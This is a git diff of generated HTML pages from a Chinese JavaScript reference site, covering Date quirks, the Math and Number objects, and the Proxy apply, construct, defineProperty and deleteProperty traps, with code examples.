                                                                                                                            • 使用参数类似于 Date.parse() 函数的方法时,如果日期对象超出范围,浏览器会自动将日期计算成范围内的值。
                                                                                                                            • 使用参数类似于 Date.UTC() 函数的方法时,如果日期对象超出范围,浏览器会提示 Invalid Date
                                                                                                                            new Date(2018, 7, 32);
                                                                                                                            // Sat Sep 01 2018 00:00:00 GMT+0800 (中国标准时间)
                                                                                                                            new Date(2018, 8, 1);
                                                                                                                            // Sat Sep 01 2018 00:00:00 GMT+0800 (中国标准时间)
                                                                                                                            new Date('2018-8-32');
                                                                                                                            // Invalid Date
                                                                                                                            new Date('2018-9-1');
                                                                                                                            // Sat Sep 01 2018 00:00:00 GMT+0800 (中国标准时间)

                                                                                                                            格式化时间戳

                                                                                                                            function formatTimestamp(timestamp, format) {
                                                                                                                            const date = new Date(timestamp + 8 * 3600 * 1000);
                                                                                                                            return date.toJSON().substr(0, 19).replace('T', '');
                                                                                                                            }
                                                                                                                            +
                                                                                                                            Date.UTC(2016, 7, 12);
                                                                                                                            // 1470960000000
                                                                                                                            typeof Date.UTC(2016, 7, 12);
                                                                                                                            // "number"
                                                                                                                            • 使用参数类似于 Date.parse() 函数的方法时,如果日期对象超出范围,浏览器会自动将日期计算成范围内的值。
                                                                                                                            • 使用参数类似于 Date.UTC() 函数的方法时,如果日期对象超出范围,浏览器会提示 Invalid Date
                                                                                                                            new Date(2018, 7, 32);
                                                                                                                            // Sat Sep 01 2018 00:00:00 GMT+0800 (中国标准时间)
                                                                                                                            new Date(2018, 8, 1);
                                                                                                                            // Sat Sep 01 2018 00:00:00 GMT+0800 (中国标准时间)
                                                                                                                            new Date('2018-8-32');
                                                                                                                            // Invalid Date
                                                                                                                            new Date('2018-9-1');
                                                                                                                            // Sat Sep 01 2018 00:00:00 GMT+0800 (中国标准时间)

                                                                                                                            格式化时间戳

                                                                                                                            function formatTimestamp(timestamp, format) {
                                                                                                                            const date = new Date(timestamp + 8 * 3600 * 1000);
                                                                                                                            return date.toJSON().substr(0, 19).replace('T', '');
                                                                                                                            }
                                                                                                                            - + diff --git a/standard-built-in-objects/numbers-and-dates/index.html b/standard-built-in-objects/numbers-and-dates/index.html index b74202782..729b29757 100644 --- a/standard-built-in-objects/numbers-and-dates/index.html +++ b/standard-built-in-objects/numbers-and-dates/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            - + diff --git a/standard-built-in-objects/numbers-and-dates/math/index.html b/standard-built-in-objects/numbers-and-dates/math/index.html index 2737ceca9..f66ac7363 100644 --- a/standard-built-in-objects/numbers-and-dates/math/index.html +++ b/standard-built-in-objects/numbers-and-dates/math/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Math - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Math 对象

                                                                                                                            Math 对象是 JavaScript 中内置的一个全局对象,它主要提供一些基本的、常用的数学函数和常数。

                                                                                                                            与其它全局对象不同的是,Math 对象不是一个构造函数,Math 对象的所有属性和方法都是静态的。

                                                                                                                            new Math(); // Uncaught TypeError: Math is not a constructor

                                                                                                                            属性

                                                                                                                            Math 对象的属性亦即数学上的常量。一共有 8 个常量,主要包括 对数圆周率平方根 三类

                                                                                                                            对数

                                                                                                                            属性说明
                                                                                                                            Math.E自然对数的底数,即数学常量 e 的值(约等于 2.71828)
                                                                                                                            Math.LN22 的自然对数(约等于 0.693)
                                                                                                                            Math.LN1010 的自然对数(约等于 2.303)
                                                                                                                            Math.LOG2E以 2 为底 e 的对数(约等于 1.443)
                                                                                                                            Math.LOG10E以 10 为底 e 的对数(约等于 0.434)

                                                                                                                            圆周率

                                                                                                                            属性说明
                                                                                                                            Math.PI圆周率 π(约等于 3.14159)

                                                                                                                            平方根

                                                                                                                            属性说明
                                                                                                                            Math.SQRT22 的平方根(约等于 1.414)
                                                                                                                            Math.SQRT1_20.5 的平方根,即 2 的平方根的倒数(约等于 0.707)

                                                                                                                            方法

                                                                                                                            Math 对象一共有 18 个静态方法,主要包括 最值舍入随机数绝对值三角函数乘方开方 6 类。

                                                                                                                            这些函数都涉及到 Number() 隐式类型转换,若超出范围,将返回 NaN

                                                                                                                            最值

                                                                                                                            函数说明
                                                                                                                            Math.max([value1 [, value2, ...]])返回一组数中的最大值。如果没有参数则返回 -Infinity。如果任意一个参数是 NaN 或不可转换为数字,则返回 NaN
                                                                                                                            Math.min([value1 [, value2, ...]])返回一组数中的最小值。如果没有参数则返回 Infinity。如果任意一个参数是 NaN 或不可转换为数字,则返回 NaN

                                                                                                                            舍入

                                                                                                                            函数说明
                                                                                                                            Math.ceil()返回大于或等于一个给定数字的最小整数。(执行向上取整运算)
                                                                                                                            Math.floor()返回小于或等于一个给定数字的最大整数。(执行向下取整运算)
                                                                                                                            Math.round()返回一个数字四舍五入后最接近的整数。

                                                                                                                            随机数

                                                                                                                            函数说明
                                                                                                                            Math.random()返回一个浮点数,伪随机数范围[0, 1),也就是说,从 0(包括 0)往上,但是不包括 1(排除 1),然后可以缩放到所需的范围。实现将初始种子选择到随机数生成算法,它不能被用户选择或重置。

                                                                                                                            绝对值

                                                                                                                            函数说明
                                                                                                                            Math.abs()返回参数数值的绝对值

                                                                                                                            乘方开方

                                                                                                                            函数说明示例
                                                                                                                            Math.exp(num)返回 自然对数的底数( 表示参数, 是欧拉常数)
                                                                                                                            Math.pow(base, exponent)获取基数 (base) 的指数次幂 (exponent)
                                                                                                                            Math.log(num)获取一个数值的自然对数
                                                                                                                            Math.sqrt(num)获取一个数值的平方根

                                                                                                                            三角函数

                                                                                                                            函数说明
                                                                                                                            Math.sin(num)返回一个数值的正弦值。
                                                                                                                            Math.cos(num)返回一个数值的余弦值。
                                                                                                                            Math.tan(num)返回一个数值的正切值。
                                                                                                                            Math.asin(num)返回一个数值的反正弦值。
                                                                                                                            Math.acos(num)返回一个数值的反余弦值。
                                                                                                                            Math.atan(num)返回一个数值的反正切值。
                                                                                                                            Math.atan2(num1, num2)返回一个数值的比值的反正切值。
                                                                                                                            + - + diff --git a/standard-built-in-objects/numbers-and-dates/number/index.html b/standard-built-in-objects/numbers-and-dates/number/index.html index 975c28be6..c858e3236 100644 --- a/standard-built-in-objects/numbers-and-dates/number/index.html +++ b/standard-built-in-objects/numbers-and-dates/number/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Number - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Number 对象

                                                                                                                            JavaScript 中的 Number 对象,是原始数值的对象表示。

                                                                                                                            语法

                                                                                                                            构造函数

                                                                                                                            new Number([value]);

                                                                                                                            数值类型转换函数

                                                                                                                            Number([value]);
                                                                                                                            参数类型说明
                                                                                                                            value可选,任意类型表示数字的任意值,默认为 0。

                                                                                                                            如果参数 value 无法正常转换为数字,则返回 NaN

                                                                                                                            • 如果 Number() 函数被当做 Number 对象的构造函数来使用,则以 new 关键字构造一个新的 Number 对象(Number 类型)。该 Number 对象表示参数所指定的数值。
                                                                                                                            • 如果 Number() 函数被当作普通函数使用,则返回转换后的 Number 数据类型的数值。

                                                                                                                            ⚠️ 注意:大多数时候,你无需显示地通过 new 关键字来构造一个 Number 对象,因为在 JavaScript 中,Number 对象和 Number 数据类型是相通的,你可以在 Number 数据类型的变量上直接使用 Number 对象的所有属性和方法。

                                                                                                                            构造函数

                                                                                                                            属性

                                                                                                                            属性释义
                                                                                                                            Number.EPSILON表示 1 和大于 1 的最小值(可表示为 Number)的差值。
                                                                                                                            Number.MAX_SAFE_INTEGER表示在 JavaScript 中最大的安全整数 (253 - 1)。
                                                                                                                            Number.MAX_VALUE表示在 JavaScript 中的最大数值。最小的负数是 -MAX_VALUE
                                                                                                                            Number.MIN_VALUE能表示的最小正数即最接近 0 的正数 (实际上不会变成 0)。最大的负数是 -MIN_VALUE
                                                                                                                            Number.NaN特殊的"非数字"值。
                                                                                                                            Number.NEGATIVE_INFINITY特殊的负无穷大值,在溢出时返回该值。
                                                                                                                            Number.POSITIVE_INFINITY特殊的正无穷大值,在溢出时返回改值。
                                                                                                                            Number.prototype表示 Number 构造函数的原型。

                                                                                                                            方法

                                                                                                                            属性释义
                                                                                                                            Number.isNaN()确定传递的值是否是 NaN 和其类型时 Number。它是原始的全局 isNaN() 的更强大的版本。
                                                                                                                            Number.isFinite()用于检测传入的参数是否时一个有穷数。
                                                                                                                            Number.isInteger()用来判断传入的参数是否为整数。
                                                                                                                            Number.isSafeInteger()确定传递的值是否为安全整数 ( -(253 - 1) 至 253 - 1 之间)。
                                                                                                                            Number.parseFloat()把一个字符串解析为浮点数。
                                                                                                                            Number.parseInt()根据给定的进制数把一个字符串解析成整数。

                                                                                                                            原型对象

                                                                                                                            属性释义
                                                                                                                            Number.prototype.toExponential()以指数表示法返回该数值字符串表示形式。
                                                                                                                            Number.prototype.toFixed()使用定点表示法来格式化一个数。
                                                                                                                            Number.prototype.toLocaleString()返回这个数字在特定语言环境下的表示字符串。
                                                                                                                            Number.prototype.toPrecision()以指定的精度返回该数值对象的字符串表示。
                                                                                                                            Number.prototype.toString()返回指定 Number 对象的字符串表示形式。
                                                                                                                            Number.prototype.valueOf()返回一个被 Number 对象包装的原始值。

                                                                                                                            示例

                                                                                                                            构造新的 Number 对象

                                                                                                                            const lamborghini = new Number(5);
                                                                                                                            // 5
                                                                                                                            const porsche = new Number('5.3');
                                                                                                                            // 5.3
                                                                                                                            const maserati = new Number();
                                                                                                                            // 0
                                                                                                                            const ferrai = new Number('Ferrai');
                                                                                                                            // NaN

                                                                                                                            将数据转换为 Number 数据类型(是原始数值,不是 Number 对象)

                                                                                                                            var lamborghini = Number(5);
                                                                                                                            // 5
                                                                                                                            var porsche = Number('5.3');
                                                                                                                            // 5.3
                                                                                                                            var maserati = Number();
                                                                                                                            // 0
                                                                                                                            var ferrai = Number('ferrai');
                                                                                                                            // NaN
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Number 对象

                                                                                                                            JavaScript 中的 Number 对象,是原始数值的对象表示。

                                                                                                                            语法

                                                                                                                            构造函数

                                                                                                                            new Number([value]);

                                                                                                                            数值类型转换函数

                                                                                                                            Number([value]);
                                                                                                                            参数类型说明
                                                                                                                            value可选,任意类型表示数字的任意值,默认为 0。

                                                                                                                            如果参数 value 无法正常转换为数字,则返回 NaN

                                                                                                                            • 如果 Number() 函数被当做 Number 对象的构造函数来使用,则以 new 关键字构造一个新的 Number 对象(Number 类型)。该 Number 对象表示参数所指定的数值。
                                                                                                                            • 如果 Number() 函数被当作普通函数使用,则返回转换后的 Number 数据类型的数值。

                                                                                                                            ⚠️ 注意:大多数时候,你无需显示地通过 new 关键字来构造一个 Number 对象,因为在 JavaScript 中,Number 对象和 Number 数据类型是相通的,你可以在 Number 数据类型的变量上直接使用 Number 对象的所有属性和方法。

                                                                                                                            构造函数

                                                                                                                            属性

                                                                                                                            属性释义
                                                                                                                            Number.EPSILON表示 1 和大于 1 的最小值(可表示为 Number)的差值。
                                                                                                                            Number.MAX_SAFE_INTEGER表示在 JavaScript 中最大的安全整数 (253 - 1)。
                                                                                                                            Number.MAX_VALUE表示在 JavaScript 中的最大数值。最小的负数是 -MAX_VALUE
                                                                                                                            Number.MIN_VALUE能表示的最小正数即最接近 0 的正数 (实际上不会变成 0)。最大的负数是 -MIN_VALUE
                                                                                                                            Number.NaN特殊的"非数字"值。
                                                                                                                            Number.NEGATIVE_INFINITY特殊的负无穷大值,在溢出时返回该值。
                                                                                                                            Number.POSITIVE_INFINITY特殊的正无穷大值,在溢出时返回改值。
                                                                                                                            Number.prototype表示 Number 构造函数的原型。

                                                                                                                            方法

                                                                                                                            属性释义
                                                                                                                            Number.isNaN()确定传递的值是否是 NaN 和其类型时 Number。它是原始的全局 isNaN() 的更强大的版本。
                                                                                                                            Number.isFinite()用于检测传入的参数是否时一个有穷数。
                                                                                                                            Number.isInteger()用来判断传入的参数是否为整数。
                                                                                                                            Number.isSafeInteger()确定传递的值是否为安全整数 ( -(253 - 1) 至 253 - 1 之间)。
                                                                                                                            Number.parseFloat()把一个字符串解析为浮点数。
                                                                                                                            Number.parseInt()根据给定的进制数把一个字符串解析成整数。

                                                                                                                            原型对象

                                                                                                                            属性释义
                                                                                                                            Number.prototype.toExponential()以指数表示法返回该数值字符串表示形式。
                                                                                                                            Number.prototype.toFixed()使用定点表示法来格式化一个数。
                                                                                                                            Number.prototype.toLocaleString()返回这个数字在特定语言环境下的表示字符串。
                                                                                                                            Number.prototype.toPrecision()以指定的精度返回该数值对象的字符串表示。
                                                                                                                            Number.prototype.toString()返回指定 Number 对象的字符串表示形式。
                                                                                                                            Number.prototype.valueOf()返回一个被 Number 对象包装的原始值。

                                                                                                                            示例

                                                                                                                            构造新的 Number 对象

                                                                                                                            const lamborghini = new Number(5);
                                                                                                                            // 5
                                                                                                                            const porsche = new Number('5.3');
                                                                                                                            // 5.3
                                                                                                                            const maserati = new Number();
                                                                                                                            // 0
                                                                                                                            const ferrai = new Number('Ferrai');
                                                                                                                            // NaN

                                                                                                                            将数据转换为 Number 数据类型(是原始数值,不是 Number 对象)

                                                                                                                            var lamborghini = Number(5);
                                                                                                                            // 5
                                                                                                                            var porsche = Number('5.3');
                                                                                                                            // 5.3
                                                                                                                            var maserati = Number();
                                                                                                                            // 0
                                                                                                                            var ferrai = Number('ferrai');
                                                                                                                            // NaN
                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/apply/index.html b/standard-built-in-objects/reflection/apply/index.html index fc639e737..edd853c44 100644 --- a/standard-built-in-objects/reflection/apply/index.html +++ b/standard-built-in-objects/reflection/apply/index.html @@ -7,39 +7,42 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - handler.apply - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.apply

                                                                                                                            handler.apply() 方法主要用于拦截函数的调用、callapply 操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            apply: function (target, context, args) {
                                                                                                                            return Reflect.apply(...arguments);
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象function
                                                                                                                            context被调用的上下文对象this
                                                                                                                            args参数列表typed array

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • proxy(...args)
                                                                                                                            • Function.prototype.apply()Function.prototype.call()
                                                                                                                            • Reflect.apply()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError 异常:

                                                                                                                            target 必须是可被调用的,也就是说,它必须是一个函数对象。

                                                                                                                            示例

                                                                                                                            const proxy = new Proxy(function () {}, {
                                                                                                                            apply: function (target, context, args) {
                                                                                                                            console.log('Called:' + args.join(', '));
                                                                                                                            return args[0] + args[1] + args[2];
                                                                                                                            },
                                                                                                                            });
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.apply

                                                                                                                            handler.apply() 方法主要用于拦截函数的调用、callapply 操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            apply: function (target, context, args) {
                                                                                                                            return Reflect.apply(...arguments);
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象function
                                                                                                                            context被调用的上下文对象this
                                                                                                                            args参数列表typed array

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • proxy(...args)
                                                                                                                            • Function.prototype.apply()Function.prototype.call()
                                                                                                                            • Reflect.apply()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError 异常:

                                                                                                                            target 必须是可被调用的,也就是说,它必须是一个函数对象。

                                                                                                                            示例

                                                                                                                            const proxy = new Proxy(function () {}, {
                                                                                                                            apply: function (target, context, args) {
                                                                                                                            console.log('Called:' + args.join(', '));
                                                                                                                            return args[0] + args[1] + args[2];
                                                                                                                            },
                                                                                                                            });
                                                                                                                            console.log(proxy(1, 2, 3));
                                                                                                                            // 'Called: 1, 2, 3'

                                                                                                                            当 Proxy 的实例 proxy 作为函数调用的时候,就会被 apply 方法拦截,返回一个字符串。

                                                                                                                            算术运算

                                                                                                                            const twice = {
                                                                                                                            apply(target, context, args) {
                                                                                                                            return Reflect.apply(...args) * 2;
                                                                                                                            },
                                                                                                                            };
                                                                                                                            const sum = function (left, right) {
                                                                                                                            return left + right;
                                                                                                                            };
                                                                                                                            const proxy = new Proxy(sum, twice);
                                                                                                                            console.log(proxy(1, 2));
                                                                                                                            // 6
                                                                                                                            console.log(proxy.call(null, 5, 6));
                                                                                                                            // 22
                                                                                                                            -
                                                                                                                            console.log(proxy.apply(null, [7, 8]));
                                                                                                                            // 30

                                                                                                                            上面代码中,每当执行 proxy 函数(直接调用或 callapply 调用),就会被 apply 方法拦截。

                                                                                                                            另外,直接调用 Reflect.apply 方法,也会被拦截。

                                                                                                                            +
                                                                                                                            console.log(proxy.apply(null, [7, 8]));
                                                                                                                            // 30

                                                                                                                            上面代码中,每当执行 proxy 函数(直接调用或 callapply 调用),就会被 apply 方法拦截。

                                                                                                                            另外,直接调用 Reflect.apply 方法,也会被拦截。

                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/construct/index.html b/standard-built-in-objects/reflection/construct/index.html index 459e29e35..f0ecbbecd 100644 --- a/standard-built-in-objects/reflection/construct/index.html +++ b/standard-built-in-objects/reflection/construct/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - handler.construct - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.construct

                                                                                                                            handler.construct() 方法主要用于拦截 new 运算命令。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            construct: function (target, property) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象function
                                                                                                                            args参数列表typed array
                                                                                                                            newTarget最初被调用的构造函数function

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • new proxy(...args)
                                                                                                                            • Reflect.construct()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError 异常:

                                                                                                                            • 必须返回一个对象

                                                                                                                            示例

                                                                                                                            下面代码演示如何拦截 new 操作符

                                                                                                                            const proxy = new Proxy(function () {}, {
                                                                                                                            construct: function (target, args, newTarget) {
                                                                                                                            console.log('Called:' + args.join(', '));
                                                                                                                            return { value: args[0] * 10 };
                                                                                                                            },
                                                                                                                            });
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.construct

                                                                                                                            handler.construct() 方法主要用于拦截 new 运算命令。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            construct: function (target, property) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象function
                                                                                                                            args参数列表typed array
                                                                                                                            newTarget最初被调用的构造函数function

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • new proxy(...args)
                                                                                                                            • Reflect.construct()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError 异常:

                                                                                                                            • 必须返回一个对象

                                                                                                                            示例

                                                                                                                            下面代码演示如何拦截 new 操作符

                                                                                                                            const proxy = new Proxy(function () {}, {
                                                                                                                            construct: function (target, args, newTarget) {
                                                                                                                            console.log('Called:' + args.join(', '));
                                                                                                                            return { value: args[0] * 10 };
                                                                                                                            },
                                                                                                                            });
                                                                                                                            console.log(new proxy(1).value);
                                                                                                                            // 'Called: 1'
                                                                                                                            // 10

                                                                                                                            下面代码违反了约定,没有返回一个对象:

                                                                                                                            const proxy = new Proxy(function () {}, {
                                                                                                                            construct: function (target, args, newTarget) {
                                                                                                                            return 1;
                                                                                                                            },
                                                                                                                            });
                                                                                                                            -
                                                                                                                            new proxy();
                                                                                                                            // Uncaught TypeError: 'construct' on proxy: trap returned non-object ('1')
                                                                                                                            +
                                                                                                                            new proxy();
                                                                                                                            // Uncaught TypeError: 'construct' on proxy: trap returned non-object ('1')
                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/define-property/index.html b/standard-built-in-objects/reflection/define-property/index.html index 311267173..f03c517ce 100644 --- a/standard-built-in-objects/reflection/define-property/index.html +++ b/standard-built-in-objects/reflection/define-property/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - handler.defineProperty - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.defineProperty

                                                                                                                            handler.defineProperty() 方法主要用于拦截 Object.defineProperty() 操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            defineProperty: function (target, property, descriptor) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object
                                                                                                                            property待检索其描述的属性名string
                                                                                                                            descriptor待定义或修改的属性的描述符string

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.defineProperty()
                                                                                                                            • Reflect.defineProperty()
                                                                                                                            • proxy.property = 'value'

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError 异常:

                                                                                                                            • 如果目标对象爱不可扩展,将不能添加属性
                                                                                                                            • 不能添加或者修改一个属性为不可配置的,如果它不作为一个目标对象的不可配置的属性存在的话
                                                                                                                            • 如果目标对象存在一个对应的可配置属性,这个属性可能不会是不可配置的
                                                                                                                            • 如果一个属性在目标对象中存在对应的属性,那么 Object.defineProperty(target, prop, descriptor) 将不会抛出异常
                                                                                                                            • 在严格模式下,false 作为 handler.defineProperty 方法的返回值的话将会抛出 TypeError 异常

                                                                                                                            示例

                                                                                                                            以下代码演示如何拦截对目标对象的 Object.defineProperty() 操作:

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            defineProperty: function (target, prop, descriptor) {
                                                                                                                            console.log('Called: ' + prop);
                                                                                                                            return true;
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.defineProperty

                                                                                                                            handler.defineProperty() 方法主要用于拦截 Object.defineProperty() 操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            defineProperty: function (target, property, descriptor) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object
                                                                                                                            property待检索其描述的属性名string
                                                                                                                            descriptor待定义或修改的属性的描述符string

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.defineProperty()
                                                                                                                            • Reflect.defineProperty()
                                                                                                                            • proxy.property = 'value'

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError 异常:

                                                                                                                            • 如果目标对象爱不可扩展,将不能添加属性
                                                                                                                            • 不能添加或者修改一个属性为不可配置的,如果它不作为一个目标对象的不可配置的属性存在的话
                                                                                                                            • 如果目标对象存在一个对应的可配置属性,这个属性可能不会是不可配置的
                                                                                                                            • 如果一个属性在目标对象中存在对应的属性,那么 Object.defineProperty(target, prop, descriptor) 将不会抛出异常
                                                                                                                            • 在严格模式下,false 作为 handler.defineProperty 方法的返回值的话将会抛出 TypeError 异常

                                                                                                                            示例

                                                                                                                            以下代码演示如何拦截对目标对象的 Object.defineProperty() 操作:

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            defineProperty: function (target, prop, descriptor) {
                                                                                                                            console.log('Called: ' + prop);
                                                                                                                            return true;
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            const desc = {
                                                                                                                            configurable: true,
                                                                                                                            enumerable: true,
                                                                                                                            value: 10,
                                                                                                                            };
                                                                                                                            Object.defineProperty(proxy, 'a', desc);
                                                                                                                            // "Called: a"

                                                                                                                            当调用 Object.defineProperty() 或者 Reflect.defineProperty(),传递给 definePropertydescriptor 有一个限制,只有以下属性才有用,非标准的属性将会被无视:

                                                                                                                            • enumerable
                                                                                                                            • configurable
                                                                                                                            • writable
                                                                                                                            • value
                                                                                                                            • get
                                                                                                                            • set
                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            defineProperty(target, prop, descriptor) {
                                                                                                                            console.log(descriptor);
                                                                                                                            return Reflect.defineProperty(target, prop, descriptor);
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            -
                                                                                                                            Object.defineProperty(proxy, 'name', {
                                                                                                                            value: 'proxy',
                                                                                                                            type: 'custom',
                                                                                                                            });
                                                                                                                            // { value: 'proxy' }
                                                                                                                            +
                                                                                                                            Object.defineProperty(proxy, 'name', {
                                                                                                                            value: 'proxy',
                                                                                                                            type: 'custom',
                                                                                                                            });
                                                                                                                            // { value: 'proxy' }
                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/delete-property/index.html b/standard-built-in-objects/reflection/delete-property/index.html index 5c8494764..cb8347a7b 100644 --- a/standard-built-in-objects/reflection/delete-property/index.html +++ b/standard-built-in-objects/reflection/delete-property/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - handler.deleteProperty - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.deleteProperty

                                                                                                                            handler.deleteProperty() 方法主要用于拦截 delete 运算命令。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            deleteProperty: function(target, property) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object
                                                                                                                            property待删除的属性名string

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • 删除属性:delete proxy[foo]delete proxy.foo
                                                                                                                            • Reflect.deleteProperty()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError 异常:

                                                                                                                            • 如果目标对象的属性是不可配置的,那么该属性不能被删除

                                                                                                                            示例

                                                                                                                            下面示例为删除第一个字符为下划线的属性会报错。

                                                                                                                            const handler = {
                                                                                                                            deleteProperty(target, key) {
                                                                                                                            invariant(key, 'delete');
                                                                                                                            delete target[key];
                                                                                                                            return true;
                                                                                                                            },
                                                                                                                            };
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.deleteProperty

                                                                                                                            handler.deleteProperty() 方法主要用于拦截 delete 运算命令。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            deleteProperty: function(target, property) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object
                                                                                                                            property待删除的属性名string

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • 删除属性:delete proxy[foo]delete proxy.foo
                                                                                                                            • Reflect.deleteProperty()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError 异常:

                                                                                                                            • 如果目标对象的属性是不可配置的,那么该属性不能被删除

                                                                                                                            示例

                                                                                                                            下面示例为删除第一个字符为下划线的属性会报错。

                                                                                                                            const handler = {
                                                                                                                            deleteProperty(target, key) {
                                                                                                                            invariant(key, 'delete');
                                                                                                                            delete target[key];
                                                                                                                            return true;
                                                                                                                            },
                                                                                                                            };
                                                                                                                            function invariant(key, action) {
                                                                                                                            if (key[0] === '_') {
                                                                                                                            throw new Error(`Invalid attempt to ${action} private "${key}" property`);
                                                                                                                            }
                                                                                                                            }
                                                                                                                            const target = { _prop: 'foo' };
                                                                                                                            const proxy = new Proxy(target, handler);
                                                                                                                            -
                                                                                                                            delete proxy._prop;
                                                                                                                            // Uncaught Error: Invalid attempt to delete private "_prop" property
                                                                                                                            +
                                                                                                                            delete proxy._prop;
                                                                                                                            // Uncaught Error: Invalid attempt to delete private "_prop" property
